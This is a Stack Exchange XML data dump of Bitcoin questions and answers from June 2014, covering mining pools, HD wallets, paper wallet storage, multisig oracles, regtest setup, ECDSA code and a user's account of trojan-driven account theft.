  <row Id="28099" PostTypeId="2" ParentId="28079" CreationDate="2014-06-23T08:50:12.133" Score="1" Body="&lt;p&gt;The method used in slush's pool is not completely hopping-proof, so if hoppers exist in the pool, your earnings will be slightly reduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, contrary to a popular myth, slush's method does not &quot;penalize&quot; you for disconnecting. On average, you'll lose exactly the worth of the missed work during the time you were disconnected. Your variance will be higher though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, any hopping-proof method will work, regardless of your mining pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information about reward methods can be found in &lt;a href=&quot;https://bitcoil.co.il/pool_analysis.pdf&quot; rel=&quot;nofollow&quot;&gt;Analysis of Bitcoin Pooled Mining Reward Systems&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-06-23T08:50:12.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28101" PostTypeId="1" CreationDate="2014-06-23T10:08:32.293" Score="6" ViewCount="905" Body="&lt;p&gt;Let's say I have a Master Public Key (MPK) and have a derived some addresses from it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I check later if a given address was derived from my MPK?&lt;/p&gt;&#xA;" OwnerUserId="6527" LastActivityDate="2017-07-04T23:34:28.940" Title="Is it possible to check if a bitcoin address &quot;belongs to&quot; a master public key from a deterministic wallet?" Tags="|address|bip32-hd-wallets|deterministic-wallets|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28102" PostTypeId="2" ParentId="28101" CreationDate="2014-06-23T13:50:36.930" Score="2" Body="&lt;p&gt;No, except by exhaustively iterating the whole derivation tree below the master.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-06-23T13:50:36.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28103" PostTypeId="1" CreationDate="2014-06-23T14:14:43.910" Score="5" ViewCount="1707" Body="&lt;p&gt;I started investing a not insignificant part of my salary into BTC a few years ago. I created 10 paper wallets (using bitcoinpaperwallet.com) on a dedicated laptop disconnected from the Internet. I then stored them in my office drawer however I no longer feel safe due to potential theft/elements etc. and I don't have access to a safety deposit box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to digitize them and use strong encryption so I can store them on a few different servers that I own for redundancy. I don't need to regularly withdraw BTC from these wallets as they are for investment, I keep a separate small hot wallet on blockchain.info for spending. I'm confused as to how I should;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Digitize the paper wallets. I dont want to have to  manually enter the private keys and make a mistake. Is there software I can run on the disconnected laptop that can scan the QR codes for the private keys using the webcam? I know blockchain.info does this but the laptop doesn't have Internet access.&#xA;b) Once I have the private keys in a digital format (either in a plain text file or some wallet format) what form of encryption do you recommend. I'm currently planning on using PGP with 8k RSA keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be most appreciated.&lt;/p&gt;&#xA;" OwnerUserId="18343" LastActivityDate="2015-09-21T09:08:15.793" Title="Safely convert paper wallet to encrypted online wallet" Tags="|encryption|paper-wallet|coldstorage|storage|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28104" PostTypeId="2" ParentId="23893" CreationDate="2014-06-23T17:20:54.623" Score="2" Body="&lt;p&gt;We've tested p2sh multisigs up to 8-of-15. Above 15, bitcoind caused problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can review our code here, to see how it's done:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/orisi/orisi&quot; rel=&quot;nofollow&quot;&gt;https://github.com/orisi/orisi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a project discussion here, with some interesting tidbits:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=645589.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=645589.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the problem is that anything above 3 of 3 exceeds the standard transaction size and we have to push it through Eligius pool. But from people said in the thread, there is a way to compress the keys and make even 8 of 15 st&lt;/p&gt;&#xA;" OwnerUserId="17060" LastActivityDate="2014-06-23T17:20:54.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28105" PostTypeId="2" ParentId="5953" CreationDate="2014-06-23T17:34:18.080" Score="2" Body="&lt;p&gt;There are two ways to do that. First one is that you create a multisig transaction, and send it to an oracle/oracles, along with a request for them to sign the transaction when they discover that an event occured.&#xA;After the time comes, the oracle(s) sign the transaction and release it to you.&#xA;This is the &lt;a href=&quot;http://oracles.li&quot; rel=&quot;nofollow&quot;&gt;way Orisi works&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to send to the oracle(s) a request to look for an event. Then they give you a public key, and you use that public key to lock the transaction. When the time comes, the oracles publish a private key to that public one, and you use it to unlock the transaction. This is the way &lt;a href=&quot;https://www.realitykeys.com/&quot; rel=&quot;nofollow&quot;&gt;RealityKeys&lt;/a&gt; work. (although their code is closed source)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second option is relatively easy to implement, although I'm not sure if there are any open source implementations available at this time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first option (signing happening on the oracle's side) is a bit more complicated, but on the other hand it allows for greater granularity of contracts. E.g. you may ask oracles to send 2030-(year-of-event) BTC once the event happens, and return the rest to the sender. The oracles may also manage the funds for the time being - e.g. you can tell them to send funds to a new multisig address if one of the oracles dies / loses it's keys. And there's a code ready to handle all that on &lt;a href=&quot;http://github.com/orisi/orisi&quot; rel=&quot;nofollow&quot;&gt;Orisi's github repo&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info you might want to check out &lt;a href=&quot;https://github.com/orisi/wiki/wiki/Orisi-White-Paper&quot; rel=&quot;nofollow&quot;&gt;Orisi / Distributed Oracles whitepaper&lt;/a&gt; which deals with example implementation, and Bitcoin Wiki &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;entry on Contracts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17060" LastActivityDate="2014-06-23T17:34:18.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28106" PostTypeId="2" ParentId="7970" CreationDate="2014-06-23T17:42:46.177" Score="1" Body="&lt;p&gt;(elaborating on the comment I gave to the question)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do this by wiring the funds to an address controlled by both you and an oracle (or a set of oracles). You do this by utilizing a bitcoin multisig address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way there's no way for you to move the funds away without oracle's permission, and there's no way for oracle to run away with funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for preventing oracles from holding the transaction hostage, you can use distributed oracles - i.e. a set of independent oracles. So, to withdraw the funds you'd need a signature of both yourself, and say 8 out of 15 oracles. If you choose oracles wisely, the chance for them to collude and hold your funds for ransom should be minimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can consult Orisi Whitepaper ( &lt;a href=&quot;https://github.com/orisi/wiki/wiki/Orisi-White-Paper/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/orisi/wiki/wiki/Orisi-White-Paper/&lt;/a&gt; ) or website (oracles.li) or github repo (&lt;a href=&quot;https://github.com/orisi/orisi&quot; rel=&quot;nofollow&quot;&gt;https://github.com/orisi/orisi&lt;/a&gt;) for more info.&lt;/p&gt;&#xA;" OwnerUserId="17060" LastActivityDate="2014-06-23T17:42:46.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28107" PostTypeId="1" AcceptedAnswerId="28109" CreationDate="2014-06-23T18:48:54.853" Score="11" ViewCount="9937" Body="&lt;p&gt;I am having trouble using regtest mode on Linux.  Using pre-compiled version 0.9.2.1 for linux and starting regtest mode as instructed on bitcoin.org:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;bitcoin-ver&amp;gt;-linux/bin/64&amp;gt;&amp;gt; ./bitcoind -regtest -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The server starts but doing a getinfo returns 'connections' : 0.  Tried experimenting with various rpc* settings in the .conf file.  What exactly do I need to set in order to use regtest mode?  Do I need to add real nodes via addnode for regtest?  It doesn't seem like I should need to.  I was able to get a few connections by adding several real nodes one time but after a few minutes 'connections' dropped back to 0.  Let me know if any additional info would help.&lt;/p&gt;&#xA;" OwnerUserId="18345" LastEditorUserId="2306" LastEditDate="2014-10-26T18:12:06.083" LastActivityDate="2021-11-01T13:15:57.840" Title="Bitcoin is not connected in regtest mode" Tags="|bitcoind|connection|regtest|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28108" PostTypeId="1" AcceptedAnswerId="28194" CreationDate="2014-06-23T19:05:28.993" Score="21" ViewCount="18297" Body="&lt;p&gt;I read some articles about Satoshi's history and stumbled upon this one:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No one knows what Satoshi is up to, but one of the last emails he sent to a software developer, dated April 23 2011, said “I’ve moved on to other things. It’s in good hands with Gavin and everyone.”&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://www.coindesk.com/information/who-is-satoshi-nakamoto/&quot; rel=&quot;noreferrer&quot;&gt;http://www.coindesk.com/information/who-is-satoshi-nakamoto/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sentence of Satoshi is quoted many times in the web, but I can't find a source who published it or to which developer it was send. I know there are archives of Satoshi's mails but I didn't find this statement in any of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have further information about it?&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="42185" LastEditDate="2017-08-02T21:59:09.367" LastActivityDate="2018-04-05T14:20:59.783" Title="Satoshi's final statement" Tags="|history|satoshi-nakamoto|email|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28109" PostTypeId="2" ParentId="28107" CreationDate="2014-06-23T19:55:29.640" Score="10" Body="&lt;p&gt;You need to run more than one node on your machine (you can do that if you give each node a different -port and -rpcport). And you need to tell them how to find each other (using -connect=127.0.0.1:portnumber).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are examples written in bash and python in the Bitcoin Core source tree:&#xA;  &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/test/functional&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/tree/master/test/functional&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="64145" LastEditDate="2018-02-20T19:25:42.443" LastActivityDate="2018-02-20T19:25:42.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28112" PostTypeId="1" CreationDate="2014-06-23T23:50:57.160" Score="5" ViewCount="656" Body="&lt;p&gt;I'm building a node.js app that uses a json-rpc connection to fetch information from the bitcoin daemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works great, except every once in a while, the RPC connection &quot;fails.&quot; It goes down for anywhere from 1-20 seconds. Querying it via the command line gives the response: &lt;code&gt;error: couldn't connect to server&lt;/code&gt;. I have built in an error handling mechanism that waits a progressively larger amount of time for each unsuccessful connection, and it works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem, is over the course of progressively scanning the blockchain, over half of the running time is spent waiting for the daemon to come alive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought was maybe its my hard drive/something with my computer, so I moved it to an ec2 instance (specifically c3.2xl) and moved the blockchain to the SSD. This actually &lt;em&gt;increased&lt;/em&gt; the amount of time waiting versus running the node app locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone experienced this before and came up with a solution?&lt;/p&gt;&#xA;" OwnerUserId="15051" LastActivityDate="2014-11-21T09:10:50.537" Title="RPC connection fails after too many queries" Tags="|json-rpc|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28113" PostTypeId="1" CreationDate="2014-06-24T00:18:33.560" Score="0" ViewCount="1758" Body="&lt;p&gt;Just what the title states.&lt;/p&gt;&#xA;&lt;p&gt;I'm just a couple of days into this idle CPU utilization thing; I run a CPU miner (x-coin-minerd on a Windows 7 box).&lt;/p&gt;&#xA;&lt;p&gt;Scrolling through the command line output I see several lines that say 'accepted' - some show a 'Yay', whilst others show a 'Booo'. Yet some 'Yay' show a lower match (70%), and some 'Boo' show a higher match (&amp;gt;75%).&lt;/p&gt;&#xA;&lt;p&gt;(The previous entries were lost, but the most recent Yay/Boo visible on the command line are posted below for reference)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[2014-06-24 08:37:25] accepted: 14/15 (93.33%), 89.76 khash/s (booooo)&lt;/p&gt;&#xA;&lt;p&gt;[2014-06-24 08:37:45] accepted: 15/16 (93.75%), 89.75 khash/s (yay!!!)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Why do I see a 'Yay' with a 70% match, and a 'Booo' with a 75% match?&lt;/p&gt;&#xA;" OwnerUserId="6183" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2021-01-06T12:25:42.740" Title="Why do I see a 'Yay' with a 70% match, and a 'Booo' with a 75% match?" Tags="|mining-pools|mining-pool-shares|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28115" PostTypeId="1" CreationDate="2014-06-24T06:13:38.543" Score="0" ViewCount="508" Body="&lt;p&gt;I've seen several variations on &quot;modular inverse&quot; but I can't seem to identify the proper way of utilizing it for C++.  I'm not sure how this python code translates into c++:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def inverse(x, p):&#xA;&#xA;&quot;&quot;&quot;&#xA;Calculate the modular inverse of x ( mod p )&#xA;the modular inverse is a number such that:&#xA;(inverse(x, p) * x) % p == 1&#xA;you could think of this as: 1/x&#xA;&quot;&quot;&quot;&#xA;inv1 = 1&#xA;inv2 = 0&#xA;while p != 1 and p!=0:&#xA;inv1, inv2 = inv2, inv1 - inv2 * (x / p)&#xA;x, p = p, x % p&#xA;&#xA;return inv2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My current coding is here:&#xA;&lt;a href=&quot;http://coliru.stacked-crooked.com/a/74648b16c2692525&quot; rel=&quot;nofollow&quot;&gt;http://coliru.stacked-crooked.com/a/74648b16c2692525&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it only shows like the first public key properly, after that it messes up.&lt;/p&gt;&#xA;" OwnerUserId="15552" LastEditorUserId="12034" LastEditDate="2014-06-24T13:32:31.337" LastActivityDate="2016-10-13T06:11:12.930" Title="Modular Inverse for ECDSA in C++" Tags="|development|public-key|ecdsa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28116" PostTypeId="2" ParentId="28115" CreationDate="2014-06-24T06:39:40.517" Score="1" Body="&lt;pre&gt;&lt;code&gt;#include &amp;lt;openssl/bn.h&amp;gt;&#xA;&#xA;[...]&#xA;&#xA;BN_mod_inverse ( a, b, c, ctx );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15732" LastActivityDate="2014-06-24T06:39:40.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28117" PostTypeId="2" ParentId="28112" CreationDate="2014-06-24T07:44:07.637" Score="1" Body="&lt;p&gt;I haven't had this issue before and I've been spamming my RPC pretty hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does your bitcoind already contain the whole blockchain or is it still updating?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a &lt;code&gt;debug.log&lt;/code&gt; and &lt;code&gt;db.log&lt;/code&gt; in the bitcoind data directory, I guess those will tell you what's wrong.&lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2014-06-24T07:44:07.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28118" PostTypeId="2" ParentId="21091" CreationDate="2014-06-24T08:58:23.837" Score="1" Body="&lt;p&gt;You will find the .dat files in the following locations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Linux: ~/.bitcoin/blocks&lt;/li&gt;&#xA;&lt;li&gt;MacOS: ~/Library/Application Support/Bitcoin/blocks&lt;/li&gt;&#xA;&lt;li&gt;Windows: %APPDATA%Bitcoin\blocks&lt;/li&gt;&#xA;&lt;li&gt;WinXP: C:\Documents and Settings\YourUserName\Application data\Bitcoin\blocks&lt;/li&gt;&#xA;&lt;li&gt;Win7/Win8/Vista: C:\Users\YourUserName\AppData\Roaming\Bitcoin\blocks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I always found the following attached image helpful in order to understand the structure of the dat files. I am sure it will help you too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r02W1.jpg&quot; alt=&quot;.dat files data structure&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12525" LastEditorUserId="12525" LastEditDate="2014-06-24T09:11:07.840" LastActivityDate="2014-06-24T09:11:07.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28120" PostTypeId="2" ParentId="28098" CreationDate="2014-06-24T10:35:26.790" Score="3" Body="&lt;p&gt;I don't know exactly what you are asking, but&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;wallet.cpp (from line 591)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // notify an external script when a wallet transaction comes in or is updated&#xA;    std::string strCmd = GetArg(&quot;-walletnotify&quot;, &quot;&quot;);&#xA;&#xA;    if ( !strCmd.empty())&#xA;    {&#xA;        boost::replace_all(strCmd, &quot;%s&quot;, wtxIn.GetHash().GetHex());&#xA;        boost::thread t(runCommand, strCmd); // thread runs free&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;runs a thread that executes the &lt;code&gt;runCommand()&lt;/code&gt; function in &lt;code&gt;util.cpp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;wallet.cpp (from line 1335)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void runCommand(std::string strCommand)&#xA;{&#xA;    int nErr = ::system(strCommand.c_str());&#xA;    if (nErr)&#xA;        LogPrintf(&quot;runCommand error: system(%s) returned %d\n&quot;, strCommand, nErr);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I think that is all code you need.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-06-24T10:35:26.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28123" PostTypeId="2" ParentId="28113" CreationDate="2014-06-24T13:36:01.820" Score="2" Body="&lt;p&gt;I think that it shows &quot;booooo&quot; when a share is rejected, and &quot;yay!!!&quot; when a share is accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;x/y (z%)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;x&lt;/code&gt;&lt;/strong&gt; is the number of accepted shares&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;y&lt;/code&gt;&lt;/strong&gt; is the number of total shares submitted (accepted+rejected)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;z&lt;/code&gt;&lt;/strong&gt; is &lt;code&gt;x/y&lt;/code&gt; as a percentage (the percent that are accepted)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why do I see a 'Yay' with a 70% match, and a 'Booo' with a 75% match?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because you had a success which raised you to a 70% success rate, and later (after a few more successes) had a rejection which lowered you to a 75% success rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(BTW, I hope you know that mining any SHA256 or Scrypt coin on a CPU is almost certain to cost you more than it can earn you)&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-06-24T16:35:54.330" LastActivityDate="2014-06-24T16:35:54.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28124" PostTypeId="2" ParentId="21566" CreationDate="2014-06-24T14:48:46.217" Score="3" Body="&lt;p&gt;I figured this out a while ago. Couple of weeks after I got hacked I noticed an unknown process in the task manager. After googling the name of the file that was linked to that process (I don't remember the file's name) I found out it was a trojan horse. Afterwards I deleted it, changed my passwords, and checked out from time to time for unfamiliar processes.&lt;/p&gt;&#xA;&lt;p&gt;I suspect that whoever did this, connected to my accounts through my session, thus bypassing my two factor authentication both on my Cryptsy account and my Gmail.&lt;/p&gt;&#xA;&lt;p&gt;Update:&#xA;After some digging I found an infected file named Bitcoin.Trading.Botv4.6.exe. This is probably what caused the Trojan to appear in some random temp folder. I don't remember where I downloaded this, or when I ran this, and I'm pretty sure that it wasn't identified as a threat back when I first ran it. I included a link to the scan results &lt;a href=&quot;https://www.virustotal.com/en/file/fad8bb1222c21ac4b95e98d2eb2e9a7922f5f17967fca5a5a930319aad617051/analysis/1403633273/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8935" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-06-28T01:46:35.197" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28125" PostTypeId="2" ParentId="21566" CreationDate="2014-06-24T15:03:24.350" Score="3" Body="&lt;p&gt;If there were a serious vulnerability at Cryptsy end affecting all users the accounts were flushed in no time, so I doubt this is an issue with Crypty itself. Otherwise there were already 1000 posts on Reddit regarding it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The malware targeting cryptocurrencies users is very, very, sophisticated due to high value of the users being targeted. Some real-life explanations&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In-browser malware modiying pages in-fly. It modifies your withdraw requests and spoof the page you see. This also gets your entered two-factor codes, so it can make withdraw requests on behalf of you. Also available on Linux and OSX: &lt;a href=&quot;http://thehackernews.com/2014/04/malicious-chrome-extension-hijacks.html&quot; rel=&quot;nofollow&quot;&gt;http://thehackernews.com/2014/04/malicious-chrome-extension-hijacks.html&lt;/a&gt; - I have seen this live when a popular Bitcoin exchange site represented two different pages when accessed through Safari (compromised) and Firefox (not compromised) on the same computer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your phone is also compromised. If you have rooted phone (Android, iOS), your two-factor seed codes have been stolen. Not very common, but not unheard of.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are using the same computer to access your email, the attacker can simply interrupt your email, steal the confirmation link and delete the email before it reaches you&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The questions remain&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Which operating system you are using?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have you installed any pirated software on your computer?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have you installed any &quot;Bitcoin open source software?&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have you installed any browser extensions, tickers?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have you rooted your phone?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-06-24T15:03:24.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28127" PostTypeId="1" AcceptedAnswerId="28129" CreationDate="2014-06-24T19:40:31.380" Score="5" ViewCount="3583" Body="&lt;p&gt;I have an android wallet (The Andreas Schildbach one). &#xA;Is it possible to import this wallet into my desktop wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to manage my funds using my mobile or my desktop - both looking at the same wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been digging through the files in my phone looking for a wallet.dat / .wallet but can't seem to find one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did back up my mobile wallet then tried importing the backup file into my desktop wallet, but this did not work.&lt;/p&gt;&#xA;" OwnerUserId="18334" LastEditorUserId="5406" LastEditDate="2016-01-05T13:29:26.460" LastActivityDate="2017-01-03T21:20:23.210" Title="Import android mobile wallet to desktop" Tags="|wallet|wallet.dat|bitcoin-wallet-app|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28129" PostTypeId="2" ParentId="28127" CreationDate="2014-06-24T21:16:48.503" Score="1" Body="&lt;p&gt;There is no easy way to export those keys but its possible. Here's a detailed &lt;a href=&quot;http://gary-rowe.com/agilestack/2011/12/28/how-to-recover-lost-bitcoins-from-an-android-wallet/&quot; rel=&quot;nofollow&quot;&gt;How-To&lt;/a&gt;. &lt;br&gt;Please note that you need to root your phone to get access to your wallet file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;br&gt;&#xA;I just found another interessting and easier method &lt;a href=&quot;http://hedinn.is/t3-assets/sw/YourBitcoinWallet/bitcoin-wallet-android-export-private-keys.php&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but I didn't tested this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would like to be able to manage my funds using my mobile or my desktop - both looking at the same wallet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you dont mind using a new private key you could import a private key from your bitcoin desktop wallet, sending your bitcoins to this address for further usage.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="17113" LastEditDate="2014-06-24T21:29:50.403" LastActivityDate="2014-06-24T21:29:50.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28130" PostTypeId="2" ParentId="19455" CreationDate="2014-06-24T21:36:31.253" Score="0" Body="&lt;p&gt;Since it's gone, you can find it here :-    &lt;a href=&quot;http://archive.today/FoyXL&quot; rel=&quot;nofollow&quot;&gt;http://archive.today/FoyXL&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16928" LastEditorUserId="5406" LastEditDate="2014-06-25T08:50:27.227" LastActivityDate="2014-06-25T08:50:27.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28132" PostTypeId="1" CreationDate="2014-06-25T05:01:19.317" Score="0" ViewCount="207" Body="&lt;p&gt;Running a simple local setup with 3 nodes in regtest mode.  Getblocktemplate tells me the coinbasevalue = 25 bitcoins but the block height is only 202.  Shouldn't the coinbasevalue = 50 bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="18345" LastEditorUserId="51916" LastEditDate="2017-06-22T01:38:25.397" LastActivityDate="2017-06-22T01:38:25.397" Title="Unexpected coinbasevalue in regtest mode" Tags="|bitcoind|regtest|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28133" PostTypeId="1" CreationDate="2014-06-25T05:08:06.423" Score="1" ViewCount="537" Body="&lt;p&gt;In a simple 3 node regtest mode setup getblocktemplate does not return 'coinbasetxn' even when passing in the capabilities string with coinbasetxn set.  I do get a coinbasevalue and coinbaseaux field.  What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="18345" LastActivityDate="2014-06-25T05:08:06.423" Title="getblocktemplate not returning coinbasetxn" Tags="|bitcoind|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28134" PostTypeId="1" CreationDate="2014-06-25T05:20:49.943" Score="2" ViewCount="141" Body="&lt;p&gt;What would be the max number of bits that hashing hardware specifically designed for bitcoin mining would ever need to hash per operation?  For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;block header = 80 bytes = 640 bits&lt;br&gt;&#xA;after first hash = 256 bits&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find merkle root:   256(per txn) x 2 = 512 bits&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is 640 bits the max input message size the hashing hardware needs to handle?&lt;/p&gt;&#xA;" OwnerUserId="18345" LastEditorUserId="5406" LastEditDate="2016-03-05T15:02:15.697" LastActivityDate="2016-03-05T15:02:15.697" Title="What is the maximum number of bits mining hardware ever needs to hash at one time?" Tags="|asic|mining-hardware|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
